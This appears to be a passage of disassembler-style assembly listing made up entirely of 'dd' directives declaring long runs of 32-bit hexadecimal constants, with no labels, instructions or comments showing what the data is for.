		dd 187FEBCBh, 7CDB5A13h, 0E9229EA9h, 80F36CBCh,	7B5CEEDBh
		dd 0F22A081Eh, 9B867B76h, 14A0DB9Bh, 0F5393C4Ch, 38066BD4h
		dd 4C3D4991h, 8BFF2013h, 4BEE8356h, 9BE3262Ch, 9543287Dh
		dd 0AF93C766h, 2B09579Fh, 70D820D5h, 7D33730Fh,	540CD801h
		dd 632E5C7Dh, 3E2EF7EBh, 0DFBE4CFBh, 0B0231A29h, 42816C38h
		dd 0B255C93h, 45CEFB13h, 67C4BAB3h, 0D191F12Bh,	0AEC53A89h
		dd 9EF7125Dh, 6957A572h, 9041759Dh, 2BB5ACF5h, 5784E951h
		dd 590457E2h, 0A511E3F3h, 76C2A4D4h, 0FE6170B7h, 684288A7h
		dd 97FF3A8Bh, 4D61C6CDh, 9FA7E880h, 4E2B053h, 0EE187CD1h
		dd 4907FF66h, 26B34882h, 4E0F1E4Dh, 0D5388B16h,	4E3EB51Eh
		dd 355B8743h, 9BBAD862h, 73F57A22h, 86E45A8Fh, 0F8FFC91Eh
		dd 5C406CE6h, 0C713125Ch, 0C5D3041Dh, 47CB5FB2h, 23C4495Dh
		dd 1E760C20h, 801326AAh, 0ECEA3080h, 0DD5D4171h, 0D87460F7h
		dd 4886EFFEh, 80C9D94Dh, 6D99D65Eh, 1D2D7C86h, 7BB45F21h
		dd 656C9755h, 6F9D7646h
		dd 66259DD1h, 7729CC15h, 1E011BF6h, 72C367CDh, 51E5A84Ah
		dd 72D4B5E3h, 572400C3h, 0AACB8A01h, 7EC18B99h,	0F1E5B214h
		dd 0DBB00FA9h, 7F739CFh, 66ED3E7h, 0E138C72Ch, 846F50C7h
		dd 7F05D941h, 0CE35AA8Fh, 0C2008D1Ch, 34E0B235h, 6ACFB04h
		dd 0ACC3488h, 44A2DF78h, 0A2968CE9h, 0BBD53A78h, 6DA44CC9h
		dd 493C96BFh, 0DE427966h, 12EDA3A1h, 23A7DE47h,	0E8DE7BA6h
		dd 28DEC00Ah, 39800D3Ah, 0B99CDBFCh, 0E5B7960h,	0BDDF9E5Ch
		dd 17CA41C4h, 9377ED1Eh, 32049A39h, 0F65ADCBBh,	766ACE9Eh
		dd 0EBB98A33h, 0A132F0E3h, 384F0BDBh, 49C28A4Ch, 5CC35B9Dh
		dd 66A749D2h, 9DBAE5DCh, 31FC1865h, 49C731EAh, 0C3D725B7h
		dd 31F27577h, 0D37C2E19h, 81AFB7B9h, 0EB451FFDh, 79770164h
		dd 0C61BCAEAh, 534B489Fh, 47AAE2CCh, 2E09DF90h,	0C12B2485h
		dd 2750F5A1h, 45E5B6F7h, 2833836Ch, 56941AD4h, 0C40EE7E7h
		dd 0F8ABBB6Fh, 22465A3Dh, 5DDA7276h, 3060486Bh,	16449725h
		dd 95F7A253h, 976CE5Dh,	50030Eh, 0D947CFEAh, 2FE07F24h
		dd 0DCEE394Fh, 3FF7CDD4h, 3995275h, 17F67636h, 2F380D98h
		dd 437C60EBh, 91256F56h, 91ED78BCh, 0D591D0B2h,	0D5E02D2Ah
		dd 0F79626F3h, 2DF63577h, 0C38588F7h, 8EE0B611h, 0E6949DD9h
		dd 5D923DCDh, 0FC4A30EBh, 3497DCE2h, 1AC4086Eh,	0A9396B77h
		dd 0A91D73C3h, 0E8D6602h, 0B44EFF9h, 0D7044486h, 0E081826Ch
		dd 0D64DBC4Dh, 0D918DC34h, 20759A53h, 44CF2B12h, 0F3775B35h
		dd 0F7CB831Dh, 0E94991EDh, 4DE2C26Dh, 9270ED5Bh, 0AF72E013h
		dd 6057BBFFh, 3AB57FD8h, 5D145148h, 0E4DBFEFh, 60C74FC4h
		dd 0C6B18A56h, 0F3BAA9F1h, 0A50343Ah, 0B1E029E9h, 6C0897Ch
		dd 9CF4CEB8h, 7FDFA65h,	0A6AB2FF2h, 788B226Eh, 3D6919BBh
		dd 0E9BBA004h, 385183CBh, 0EB69276Eh, 0B252854Fh, 0C354A262h
		dd 0FBBF909Dh, 0DEA07B8Dh, 2E19BA6Bh, 570D5B41h, 7806E0FEh
		dd 0B463E2B2h, 3473CF5Fh, 3FCBE0EAh, 3CBF9310h,	0D86567A5h
		dd 0AEDCCB88h, 9CCCE3ABh, 0A839D789h, 5EA3AB51h, 876EE2CDh
		dd 723BFA0Ah, 0CF1E752Bh, 3F60CAD1h, 13DDBE32h,	1604A0CFh
		dd 7BFF9CAAh, 0FC43314Fh, 0ABD8E620h, 0BAF27375h, 78CEE50Eh
		dd 7D8996CDh, 0D261E87h, 51B48B99h, 0FFDB62CCh,	0E6DA11C9h
		dd 560F7B33h, 3205916Fh, 0A676583Ah, 0D13E3D80h, 0FA489787h
		dd 5DDC58E4h, 0BED0723Eh, 0F277B09Fh, 6DE07E61h, 27127C45h
		dd 0D4645033h, 0CC81E694h, 0A3E368Eh, 0D53455B7h, 0F7F7BAC3h
		dd 956B4439h, 0C3AB4C18h, 0D00282F5h, 0FCE6CF58h, 5C338B6Fh
		dd 7B66BC2Ah, 5799A0D5h, 0CF8783CFh, 2A1959E6h,	3CDA2923h
		dd 0C68C0C6Ah, 0D55C11E2h, 5B330588h, 0DA734FAEh, 2A6350DDh
		dd 7F2E6D58h, 0A7ADD914h, 62AA9986h, 1D337E29h,	291581CFh
		dd 0B2491469h, 0E36E0C1Eh, 0F4A5BA7h, 0AE3F7DBAh, 0FACEC8AAh
		dd 9BDA7984h, 526AAC8h,	57FC10DBh, 4640D0Eh, 9F6EF616h
		dd 2D4189F9h, 0E95392B8h, 0F851F4D8h, 0B5B06291h, 2336777h
		dd 0E7E28819h, 74606C10h, 4481A90h, 4D40EB9Ah, 7EE792A1h
		dd 0D3FC21F1h, 0E3566FEEh, 9D0931C4h, 12EC377Ah, 4AF61635h
		dd 58726CC6h, 433E0FC9h, 0E9F32343h, 0FB5B8CF9h, 300ADE6Eh
		dd 39C3FA3h, 4EA6DE53h,	0E7457FEAh, 4EC578D2h, 2B76ECBDh
		dd 44A6DAD6h, 3DF7D19h,	565281EDh, 2DA4DC3Fh, 76B4F0Fh
		dd 2D179A0Dh, 0BDAC45FDh, 0A0EE5A63h, 974EA15Dh, 0D48586AEh
		dd 6A6C4C77h, 3A8176h, 758BD5D2h, 39A9D2F3h, 2F3F379Ah
		dd 0B78F000Fh, 613D845Bh, 0D1EC9E7Bh, 52C8B89h,	2AA8B404h
		dd 4DFBBDF7h, 0A88AE532h, 35B67222h, 0E50603C5h, 0E70C7FFBh
		dd 343F3628h, 5EA8F199h, 0B02D948Bh, 0E13BCCA6h, 3CED350h
		dd 0B04F040Ch, 0B49D06E8h, 342A00BCh, 7568C524h, 30666FE4h
		dd 0B48D90C9h, 0FBCE15CAh, 0DD163888h, 267DB933h, 6C29E87Dh
		dd 0B554CA41h, 26B73D8Ch, 91E8F9BCh, 0B5BBD553h, 9D88C234h
		dd 0F1AFC6E1h, 0BA208769h, 56E866F7h, 144D1Bh, 0F4D37D81h
		dd 0B1120F21h, 0B3A8D823h, 0D638AC2Ch, 0E48E829h, 7F8181B8h
		dd 0B8524CE9h, 0FC4F83F3h, 30EA0CD1h, 0E12FB4Eh, 0F9185626h
		dd 0B365C62Fh, 36BC435Ah, 0B3F572B3h, 66580B96h, 0B124F4B8h
		dd 80B0E172h, 4BB3D8D9h, 92B17EF0h, 0AA4D8092h,	2DB6786Ah
		dd 7029EDF1h, 44EE5C4Eh, 676D5295h, 0EBAF7167h,	118D8A7Ch
		dd 0DBB61F39h, 0E8BF9B40h, 94702416h, 3F2E7CC0h, 85928B50h
		dd 9A05D8ACh, 28B19DB8h, 8997278h, 77415AE5h, 337536B6h
		dd 0A1EBF4E4h, 79B53BB0h, 0A40E8B94h, 0AD39782h, 24958A02h
		dd 0CFE7B1E1h, 0EED5B244h, 14ECAC19h, 120A4BFFh, 2B283C3Eh
		dd 52A213C6h, 0D29B821Bh, 9012C6FBh, 6E27673Ch,	0D22D02D3h
		dd 0FFC2B5F7h, 65EC2A0h, 0F5B9183Ch, 2A25AD4Bh,	19E86613h
		dd 58712D6Fh, 7F540519h, 0E669B1FFh, 0B7005D91h, 0CE663424h
		dd 0C55114A3h, 0EC21297Eh, 0E8E9EFE4h, 0D6AF93DAh, 0BBE266CEh
		dd 4AB3B73Fh, 0C236F86Eh, 60FE6F3Eh, 91767935h,	0C188431Ah
		dd 75400120h, 495E2FC9h, 0C811226Ch, 0A8138048h, 0A056D266h
		dd 25C72952h, 0D1BE2964h, 0AF35AB42h, 1554A420h, 9B422D09h
		dd 8B0E490Eh, 2A036E38h, 28AA0202h, 0A640FDB2h,	308934A1h
		dd 7741CD6Ah, 0E1F82AD4h, 1562850Bh, 0A73380BDh, 744A7C4Eh
		dd 7E7B7319h, 1F170988h, 46D5A992h, 0C9A81CB7h,	83FB46ADh
		dd 8A16B000h, 3C05533Eh, 0FFCC4EA6h, 3F7DF2C2h,	8BBCA44Bh
		dd 31BB5F12h, 1CF3BFC2h, 0A75E04CFh, 397D8520h,	0DC704617h
		dd 0C3B227E4h, 0E618E128h, 99647EFCh, 0E42583CEh, 0C34EDEEBh
		dd 7D3EA6DEh, 0B69B9B19h, 0EB0BD1B9h, 0D39D054Bh, 3CC1CC18h
		dd 0B72D1173h, 3A550A7Eh, 0F664672Bh, 77B45158h, 341F860Bh
		dd 5817B04Ah, 0D5D3C05Fh, 4428CAEDh, 7D9F6E17h,	0F893423Fh
		dd 49608D78h, 90A28889h, 0D3EB8EE6h, 0DED263A8h, 1CA80E01h
		dd 0ED401903h, 0FE5F23B8h, 0AAC1D6B4h, 92B3A0E2h, 0E10D111h
		dd 7301F353h, 4ACAFFEAh, 0EDE53A32h, 0A69223E5h, 0EF39B0F6h
		dd 0B23B42C5h, 66D80396h, 74D8379Bh, 795DC4A1h,	0AEEF3541h
		dd 0B47D34DCh, 0BF04D4E7h, 0CBA32A69h, 334D01h,	0FA7320BEh
		dd 0B484D709h, 0A32EA1F9h, 0A497E5D9h, 7F84BEAEh, 5794B6AFh
		dd 577DA450h, 65E1B421h, 7C7D0A1h, 84A8428Eh, 6CC7030Bh
		dd 8C2B6F8Ch, 0AD2CC3E0h, 0F35B960Dh, 77DDB8E5h, 0AD044C21h
		dd 961EA23Fh, 0D77A5CA0h, 1C8555BCh, 0CDA2B860h, 0C788083Ah
		dd 3954F293h, 848987A7h, 340E1BA4h, 237D17DFh, 0E4A891F3h
		dd 0B77357ACh, 0D51F31DFh, 0ED48A498h, 0D8FE56B2h, 2DA52FA9h
		dd 0D977CEh, 104D594Eh,	0AF1DF8C3h, 6589F90Dh, 0A8A57A8Ch
		dd 34200B1Ch, 78B0427Dh, 86231118h, 9F64988Ah, 9A45B024h
		dd 9090240Bh, 0B72B9961h, 6A2CCC38h, 6A4F3AEh, 0E81475D6h
		dd 0C566E3Bh, 0D6CB8E2h, 0FA149232h, 911661C2h,	0E3F51285h
		dd 5F83F3BBh, 0E0D2A43Dh, 8DC298D6h, 4D2F0869h,	0AA5C175Eh
		dd 3FEDA1C4h, 26098C06h, 0EE508CDFh, 8FC51F82h,	612FEF6Dh
		dd 69A76CE4h, 363FEC58h, 0BD1BEB5h, 2352463h, 0D95B74E7h
		dd 5B516938h, 61B28372h, 0F0B39838h, 80D74E2h, 0F90FE067h
		dd 0E17F2CEBh, 9FCE2B91h, 0F4E0E0E8h, 0D43DCB4Bh, 0BEFCDF76h
		dd 1DF95C92h, 55BF52D4h, 0CC29390Dh, 0ABD147E4h, 3A597A31h
		dd 686C47F1h, 0AD4D933h
		dd 9FBAFB3Fh, 0B210C0AFh, 0C45C8DADh, 0D6C47CF0h, 5F7B5798h
		dd 9195EA28h, 6547D521h, 922B7B6Dh, 8AE55DEAh, 9EABD9EAh
		dd 799AC2E0h, 0F909C8B4h, 73C06C5Dh, 0B4BD6294h, 0FD63C0E7h
		dd 1434867Eh, 4B2E764Bh, 0BA7126BCh, 56DD362Dh,	0EC65B44Eh
		dd 0D610A284h, 196A7B26h, 3B47731Bh, 2D700B66h,	0C9869B82h
		dd 58D489CBh, 5B919403h, 852C04FAh, 5028F562h, 6D949ED1h
		dd 14FBD572h, 1817F3A2h, 0A8D3AFD6h, 77173EDEh,	0E9038FA1h
		dd 5C50A0AEh, 0A6783B76h, 1577F9F3h, 82122DF1h,	0D320D6DAh
		dd 6E12F49Bh, 53094476h, 0DAB1D227h, 0BED906B1h, 75D19420h
		dd 9E96B33h, 3F49AF1Fh,	24FEF1DEh, 0A4496AE5h, 0FF1FE9A5h
		dd 0B7B2FE6h, 0FCF89F0Ch, 6B6D5AFh, 549F40E4h, 0B543C78h
		dd 8CEC772Fh, 5959455Ah, 0C228DBA9h, 0EDF3A96Ah, 0B01CFA48h
		dd 0E8BBD817h, 0DC4AB9AFh, 41DD1851h, 0C9CB14F7h, 0CE0BB4CFh
		dd 0A32EF603h, 0F8B62C1Bh, 93C2C3C9h, 0B39AD30Ah, 0C3F4312Dh
		dd 3A0089C6h, 0A77062AFh, 36EA35E5h, 5E216523h,	296FEDC6h
		dd 5071E0DBh, 0A360D65Eh, 0FCCF7890h, 0C5B08806h, 5C872C14h
		dd 3614A240h, 8D55E6D5h, 1C3A37E9h, 0D1361F83h,	0C53FD215h
		dd 7191D745h, 518954D5h, 0FD3BE662h, 0AC806888h, 0F77E355Bh
		dd 0A57FD74Fh, 82F15805h, 0D1B346Bh, 4B864444h,	16657504h
		dd 31FBB61Bh, 0DC5BEB9Ah, 0B67DD95Eh, 3BF869D0h, 2D319B35h
		dd 0F69411EFh, 16823A5Ch, 0EE3B7BADh, 288B6B7Dh, 1B4E4464h
		dd 4C139AD8h, 0D16D709Eh, 31CA9931h, 47E2655Ah,	0A129DF7Ah
		dd 0F240BE62h, 692DECC1h, 0D4D7525Ah, 0C0FB3AA3h, 9FBE572Ch
		dd 1C3D203Fh, 9FBA0057h, 0B12AEF3Bh, 8BEF0726h,	48258544h
		dd 451E244Ch, 80282135h, 72AFB4A3h, 8EFEF5DCh, 42EFDE38h
		dd 2A677F7Bh, 5C8C9D3Ch, 0CB9E46F4h, 0F8E84F89h, 739014F7h
		dd 81EBA3B6h, 9818F7ACh, 0AC462FDDh, 6E100C3Eh,	0E02DD5B9h
		dd 501A8E6Ch, 36080278h, 0B256C67Ah, 0F5F28868h, 0A4926864h
		dd 0FD0B1FD2h, 5FA8A1BFh, 0BB48D23Fh, 4743DB14h, 49C9ABA9h
		dd 3D41D008h, 45B35303h, 0D5AE0CBDh, 0D6F1E28Dh, 0ED2F5D5Dh
		dd 0B899F97Dh, 19E69E30h, 0E1C0553Bh, 8E64C61Ah, 2A48C9A8h
		dd 4B25BDB7h, 9E6C1D20h, 10DAA990h, 5BA175DCh, 977D1560h
		dd 8662F631h, 879358F6h, 8EAFBD1Ch, 0E0AA008Ah,	7B995882h
		dd 0E1C3B4C6h, 230B48A1h, 637289Fh, 98576BDBh, 6333A1C3h
		dd 0D92BBA54h, 751B7BFAh, 0FADFD1B0h, 0EF062C65h, 319A87E0h
		dd 84946BEBh, 779B3AF6h, 0D2F06C93h, 3E06375Bh,	5214397Dh
		dd 5E9A92CFh, 76FFB4BAh, 0F24C184Fh, 0E4EFD321h, 7DEED486h
		dd 0E05AD19Fh, 0E36C93F0h, 0B15BDBD8h, 5FEA4DBCh, 95AED273h
		dd 276EBBBEh, 3693E02Eh, 42DAD394h, 0E21B2178h,	0A21C2F7h
		dd 895BB179h, 0CEBD1042h, 445099F9h, 608013E1h,	0CA2F3A3Bh
		dd 0F5C54C56h, 0B4A2A519h, 1C295CCAh, 997AF1C1h, 0BA162774h
		dd 0DA7F2A93h, 6B58C019h, 0D138ECEh, 408F1CC2h,	0DE22F61Bh
		dd 88EC9430h, 9F89AA46h, 0B3C68045h, 0BF694F5Eh, 5B266339h
		dd 872C287Bh, 0FAF43433h, 8AA9A548h, 7E1269C3h,	28A15975h
		dd 592BA2CAh, 0F45E7FF9h, 0F374900Ch, 3D4C8EEEh, 0CF0671C8h
		dd 6C183196h, 8BA8D49Ah, 79F26490h, 2384A9CCh, 0FC3D3933h
		dd 253E078h, 4D2D80B3h,	5B35E3B7h, 0A5257183h, 48028A41h
		dd 7724295Ch, 4412D4B8h, 0AF7136EBh, 0B59F84FAh, 0DCA35E3Ch
		dd 55F6BF53h, 291E4BA1h, 0C3DF192h, 95C42AFBh, 0A7846AAh
		dd 54C9BED0h, 10FA27DBh, 567DB9CDh, 2360587Eh, 0FDC9E89Fh
		dd 7252A178h, 5AD1883Ch, 0F3D48B23h, 0DD407413h, 1ED67454h
		dd 6C9C6560h, 0B651C47Ch, 42C12D9Dh, 3926D6B6h,	5F2AD3D1h
		dd 77F1EAA0h, 4372007h,	5D48218h, 1533AA25h, 0DE63D9BAh
		dd 0B01C9832h, 0C5D9E3BCh, 0CE42AA3Eh, 9F4AF122h, 3835E880h
		dd 66DEA2BEh, 0BE312432h, 9E867311h, 0E387C4C5h, 395C8DE1h
		dd 23C1CB86h, 18717C78h, 0AE9D7610h, 5261B9F7h,	0CAE5D1DDh
		dd 0BD086725h, 86AE32E0h, 36733A60h, 0D6D11A6Ah, 5167A2A0h
		dd 9FBEDA0Ch, 58E34E67h, 0E0B71BB7h, 942D9203h,	0C43378D2h
		dd 44B705FFh, 69BB773Ah, 0C2FCB9DDh, 830177CEh,	70F7B609h
		dd 99D624Bh, 1ED6633Ah,	7C72309Dh, 0C82CF76Ch, 80938A20h
		dd 85B2D95Fh, 36F0FDFDh, 1009CF75h, 98353C55h, 932D4D81h
		dd 6A911262h, 0BE75D6B4h, 93B0FDC3h, 2E670923h,	19B8EEF4h
		dd 8D5464F1h, 0ECB7D95Ch, 8E2B0A2h, 86B588B7h, 73A3F1Bh
		dd 89701557h, 8E61E3DDh, 4708AA09h, 80BB8A4Dh, 3D086B8Bh
		dd 74D99E5Bh, 736D0580h, 0D591A6C7h, 695B709Fh,	51ECD0C4h
		dd 0F633A49Bh, 0EE40C116h, 404009A7h, 89D201CAh, 487E0610h
		dd 1366402Bh, 0F05386Fh, 15184AB1h, 68D85A14h, 7B5A6FFAh
		dd 3DB54AB2h, 0C2756062h, 6254215Ch, 0BDB5E63Dh, 403086C6h
		dd 87966A85h, 30BFC286h, 9A6F414Ch, 18CF9853h, 36CD95A2h
		dd 0C14CE21Fh, 0D9ECE8D4h, 9B0F736Dh, 0DB214A92h, 71BDB203h
		dd 77E3D661h, 12A3BC8Eh, 6A3D3BF2h, 74D466B1h, 0C21467E1h
		dd 668670DBh, 47D5999Eh, 1A00EDBCh, 2E8F3515h, 74EAF2FFh
		dd 0B243613Ch, 8CC88FF9h, 0B22ECDB0h, 21E4BFB3h, 0A704C298h
		dd 0FD46096Ah, 967EAEBh, 0F00D6C2h, 308177Dh, 7D0690C5h
		dd 0A1B4E39Ch, 0A3D7FA4Ch, 7B4B47B0h, 5810205Ch, 9E50A76Ch
		dd 0F5B6F73Dh, 0CB0CDB4Fh, 77064653h, 2FD60556h, 76005008h
		dd 0D97025D2h, 0A7943661h, 0C575C051h, 93D13841h, 0D39883EEh
		dd 0DD903D62h, 8FB265F7h, 0B9B323FAh, 0F569F791h, 5583D7CFh
		dd 4024AA6Ah, 0FCA99A27h, 0A353904Ah, 75050D44h, 590B16B5h
		dd 0DF845A13h, 0CFA957B1h, 1ED12882h, 7D12FE97h, 0BDA853C5h
		dd 4BF1E1B9h, 493B3B05h, 5C8FA2CBh, 0C6016481h,	2D6BF024h
		dd 93F5BE79h, 0BB912223h, 0EB82AAA0h, 0A7EDA67Eh, 4F5048B5h
		dd 8E49C1FFh, 7B9BCC65h, 60901B68h, 0AF276DB7h,	0EB470C58h
		dd 8F9DE068h, 1A060DFh,	0E6EBA2C1h, 8EF8893Ah, 0DADF0828h
		dd 16B0AD2Ch, 3F64B058h, 8826CFEDh, 2F302962h, 32223410h
		dd 53B18209h, 0A8F3154Dh, 7934A759h, 507EF085h,	200BDEFBh
		dd 0E33882B2h, 5625EDD1h, 0A229BF5Dh, 1AC1EB71h, 2CFA060Bh
		dd 8D6AAAE8h, 34C76D30h, 14FCA626h, 0F5FAF64h, 67E86A29h
		dd 35775741h, 4B5183C2h, 107A6D96h, 114C0053h, 0E721CC06h
		dd 0E429EB50h, 97F555DFh, 13286E98h, 0BAF297AAh, 61C552B7h
		dd 993E1248h, 0F4DB8EB8h, 0E2BC6835h, 0DACDBD46h, 0B9F354B9h
		dd 0BC10A848h, 0E4EAB151h, 0D804CB97h, 0CFB64AC4h, 9E1841Bh
		dd 42D5C1F1h, 71E6123Eh, 5244B8BCh, 0A851148Ch,	4B28876Ch
		dd 0C96671F7h, 0DD17EF86h, 97FE766Fh, 0D65F13E1h, 0F0331EC5h
		dd 2FC7073Ch, 884116C8h, 994A15DAh, 7B4AAF5Ch, 55415899h
		dd 11505EA9h, 0DFCECBDFh, 5784DEBCh, 2FC32EAEh,	6B530FD4h
		dd 0E3A0C576h, 0D692A4F2h, 0C6EFAE42h, 137482CEh, 40B04E37h
		dd 0C3022717h, 0E007822Fh, 0DF0EE729h, 0DDD2F4FCh, 33C6898Eh
		dd 0E9822081h, 43E403B8h, 0EF767619h, 0B07D8BA8h, 4865E98Ah
		dd 4BEAFF10h, 0DB37466Ah, 0C5FEBD19h, 9AB3173Bh, 263A355Dh
		dd 0A59ABB99h, 5F766897h, 2A21A76h, 9ABD7296h, 58351CFEh
		dd 272100C8h, 0D9E40AF4h, 17C1E734h, 0B5E8CB1Ah, 7B060064h
		dd 0B77138A0h, 2684AD24h
		dd 16AF9C64h, 0DE2923B3h, 9F8E809h, 2485F7F0h, 238A7771h
		dd 3F3B665Fh, 0DEB74B13h, 8A2CFB1Eh, 6D394B4h, 548E061Ah
		dd 51029D2Eh, 40C77B2Fh, 97318B6Dh, 0E73AB95Ch,	5D9F1A93h
		dd 874B87B4h, 19F9DD02h, 0B16DA0D1h, 6D4D16F1h,	0C0A9C295h
		dd 0AA6D4149h, 0BF776593h, 747D40D4h, 5CFDB2B7h, 64257ABBh
		dd 2D5BC913h, 21AF794Eh, 0C0F96FF9h, 8027658Dh,	86C23Dh
		dd 0EA59F0D8h, 594D7484h, 238746B1h, 6336309Dh,	81101A8Ah
		dd 0C510B5C4h, 68E71202h, 0BAB4657Ah, 0C1FF841Ch, 0DA336873h
		dd 394F9F5Fh, 418ACCCCh, 0DBF0F42Eh, 96974E3Ch,	944CA1C1h
		dd 4CCDF96h, 1B3D27A0h,	0A98EA345h, 1D29F9Dh, 66AC7F57h
		dd 0B59CF9FCh, 0ED1EE83Bh, 0D7767FF3h, 9FA96C3Ah, 0BFE55B64h
		dd 0FB77B4h, 0F4B51569h, 52278F10h, 2AF93C22h, 0B3DD8745h
		dd 0B70C0A6Dh, 15862196h, 0C1B936AFh, 1D74EE4h,	0C7B38C2Ch
		dd 27625FE1h, 85F21912h, 0B4E8B1A0h, 72F27FFEh,	9AB06EA8h
		dd 5F489CEh, 6AA87B95h,	0F2A64F90h, 0C94F9960h,	3316C3C0h
		dd 3A2138CBh, 234E8107h, 645D56CEh, 0DFC89219h,	91B00837h
		dd 420D49AFh, 59760B2Ah, 0E195F552h, 0F918E073h, 214AED8Dh
		dd 6FFC3232h, 250ED21Eh, 4AAEB920h, 27FC0659h, 0B3DDC777h
		dd 178E1DF6h, 1153AA11h, 0C10CA208h, 5104DADBh,	337AB490h
		dd 6D82A34Dh, 80AAC0A8h, 0B04AC6EFh, 519896h, 109D159Fh
		dd 85AAD951h, 777855DBh, 941436A8h, 78B450E1h, 3C73D606h
		dd 29F21EC2h, 4CD0E51Eh, 901859B2h, 4DAC6718h, 6B4666B5h
		dd 1D90D6BAh, 0F4D181C0h, 0B38179B8h, 0FE47C17h, 0A1EEF91Dh
		dd 3AE2A788h, 72FFD595h, 744C3F16h, 4029737Eh, 0FAF235A8h
		dd 0F8F1A3ACh, 0D3BD6A88h, 95591F81h, 44F2EC97h, 914BF37h
		dd 74CBC3A9h, 0BDBACA2Eh, 0F52DFCD1h, 0D0AE20E2h, 0D1B25693h
		dd 84610C1Eh, 898F7224h, 72E4D2F0h, 122773B7h, 0A694A0EEh
		dd 58E2958Bh, 64C67D40h, 758138AEh, 96FF59E4h, 0F6BDF0F1h
		dd 0E9C699C8h, 8751A6A9h, 3DC8FB4Bh, 1FD4EABAh,	0AAF249DBh
		dd 795853E5h, 2ED54E19h, 813C7C24h, 5205DC8Ah, 82C8B8AEh
		dd 405C9065h, 25F2994Bh, 28804C40h, 0A976EB31h,	0B571B2DEh
		dd 0F4A0D729h, 348DDE14h, 0BA57DC45h, 0D545E41Eh, 3249DD3Bh
		dd 7C3749A3h, 13ED4D00h, 0A106630Eh, 9D2EED25h,	0A8809270h
		dd 1B23DC93h, 6B198225h, 4EDD1FAEh, 0D61A66DAh,	8EBBC999h
		dd 3B39169Ah, 585E17F6h, 6272DAF0h, 1CD0AE83h, 868F5130h
		dd 3BBDA60Ah, 433DEC62h, 86860F47h, 16FFA55Ch, 75F529A5h
		dd 186DD54Dh, 973EDC36h, 5E0EE463h, 283C98B4h, 0E1C5DD34h
		dd 18CEEF47h, 202E26ADh, 0DE5A05ABh, 0AA5E6542h, 444F98A0h
		dd 4129D740h, 0BDDA8DF7h, 55C4BEDh, 0F15A0435h,	0A8C1F709h
		dd 0BF47173Eh, 4FFE82FEh, 7623BA5Dh, 3CB39D39h,	2C3FF234h
		dd 99FA2859h, 0A74896F1h, 29B97093h, 452B5A2Eh,	18C35A16h
		dd 0A6783E46h, 0F6D07AEBh, 0D3BE9DC1h, 4215ECE2h, 2A658B46h
		dd 1B1AE621h, 20DC1EB6h, 0F9B5D583h, 5CEB4D1Ch,	0F82971A4h
		dd 0D3760753h, 0B585DC56h, 0C7A620D8h, 85AD6D71h, 0E451A033h
		dd 396EC704h, 9E51EF1Fh, 0C9F49BEh, 117FEECDh, 93AFED1Bh
		dd 54BFE1AAh, 67112BEFh, 9A66D988h, 75CBBE9h, 32F8D8DBh
		dd 5939CC2Bh, 0AFAB762Ch, 59795860h, 0F3BE42B2h, 9FD4BC81h
		dd 758F959Eh, 1CF7F7ABh, 9CF1D0E4h, 0DA93FA59h,	4080F00h
		dd 956A7EF7h, 985695F1h, 0D9B4B992h, 21D897E8h,	30E8327Fh
		dd 0B478E1C1h, 6CD241D7h, 9CAA529h, 0E66DD07Ch,	0DF2786D4h
		dd 9C4E6780h, 0E054D8Bh, 4238795Eh, 5D38046Ch, 18A9A6D1h
		dd 0DE0C5BAFh, 994806Eh, 3781FFFBh, 0F97C4A52h,	0FDC0498h
		dd 9EE0AD33h, 2964E96Ch, 359F260Eh, 0AB61164Dh,	0F928BFEh
		dd 5BFBA265h, 99B52C38h, 0D6A36A9Fh, 3655D4F5h,	0AAA32D83h
		dd 0CCAD8F6h, 81C19EF9h, 0B8A482ABh, 7622CC61h,	0E0A05F1Fh
		dd 5D00B235h, 0F6F999DFh, 19C80AEAh, 6957C14Ah,	19715E95h
		dd 1242EDC4h, 3918C79Bh, 8C9C65EDh, 78EBCC6Dh, 7B3D477Bh
		dd 0FC946B41h, 4EAD18C8h, 0E56F1D2Eh, 0A0F3FCEAh, 0DA6DA2F4h
		dd 15F81222h, 0A0034ECEh, 46C0C94Ch, 51EC30C3h,	452DB480h
		dd 67A7BC65h, 3E657FF7h, 93414AABh, 0FDE981B5h,	6CE57847h
		dd 98AD023Ch, 6B57CF7Ah, 0CF84E153h, 15C48935h,	122F277Eh
		dd 0F394136Eh, 0A761D5E3h, 219737C3h, 0CB56D368h, 835D9C21h
		dd 64F62A1Ch, 7FD5D129h, 6803EDE3h, 0DB8BFC91h,	7E369666h
		dd 5B141F7h, 14CB51A7h,	0DE9F5C99h, 0CB406A7h, 7F11DB6Bh
		dd 9C62300h, 60DF44C1h,	0D237C52h, 0AD8E5693h, 0D36CCCC9h
		dd 0ECC91E52h, 4F59C9D5h, 56D5B83Dh, 0C2E36CE3h, 0C53B8995h
		dd 0BA11FD6Dh, 0E9A9AE08h, 6FB79D29h, 1F5AF732h, 0BB3139D6h
		dd 0F4A41B08h, 3EEA42DEh, 0BD233751h, 0D3D85E59h, 3C3003C0h
		dd 1A894B47h, 4542308Ch, 0F4798B67h, 0F7DC71C2h, 3364D75h
		dd 0D47D2272h, 0DF4D469h, 848747F3h, 0BF87713Ch, 966F17A1h
		dd 1FF20250h, 25F3161Bh, 0B03FDA7Fh, 0FF8D72B9h, 4DEE6709h
		dd 517C1FDBh, 0C5B57BEBh, 0A51FDB61h, 78D5566Fh, 0EB218359h
		dd 0D50A9629h, 3298C713h, 1512AB57h, 0D7FE1F06h, 7CA0CBC1h
		dd 3BCFA935h, 0B45EF846h, 0D73CE3A6h, 0A264FB64h, 0CD41C0D8h
		dd 281D934Eh, 79B0467h,	1EE6258Eh, 1120CA8Ah, 0C307CD2Bh
		dd 0B4D31C61h, 52F7C033h, 0CE5303F9h, 0D028F6AEh, 3172AA82h
		dd 70898D0Ah, 22AF329Ah, 0C34003EAh, 0ACA1EFB5h, 0EB52E7A0h
		dd 9519F560h, 68B556B1h, 5B432822h, 91F4642Ch, 56D0E48Ah
		dd 0EBCB6A68h, 0CC13F97Fh, 2E84D1E4h, 32D77E23h, 424F02EAh
		dd 42CFA2D3h, 0DB869C69h, 15B0C8F9h, 0A55B886Bh, 8F72787Dh
		dd 920F3026h, 656252B3h, 13FC0A7Ah, 1FF5DB93h, 29E1A0E8h
		dd 0D09B68E6h, 0B7670A43h, 952D2DA9h, 0B2DF0DFFh, 41F3BDCAh
		dd 74162ADEh, 70149A5Eh, 8ABEC5D5h, 0F5CDB510h,	3211A515h
		dd 0DF6B5F00h, 60724A0Bh, 9377B976h, 78A3F8BFh,	0B0FC0452h
		dd 0FB752115h, 0D113B10h, 2F8163D7h, 205E2C25h,	0F8AFA8F0h
